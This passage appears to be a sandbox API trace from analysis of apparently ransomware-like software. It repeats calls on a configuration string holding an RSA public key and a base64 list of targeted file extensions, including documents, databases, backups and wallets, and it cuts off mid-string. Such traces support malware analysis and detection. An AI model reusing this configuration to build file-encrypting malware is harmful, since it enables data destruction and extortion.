C5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.134] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.134] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.134] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhs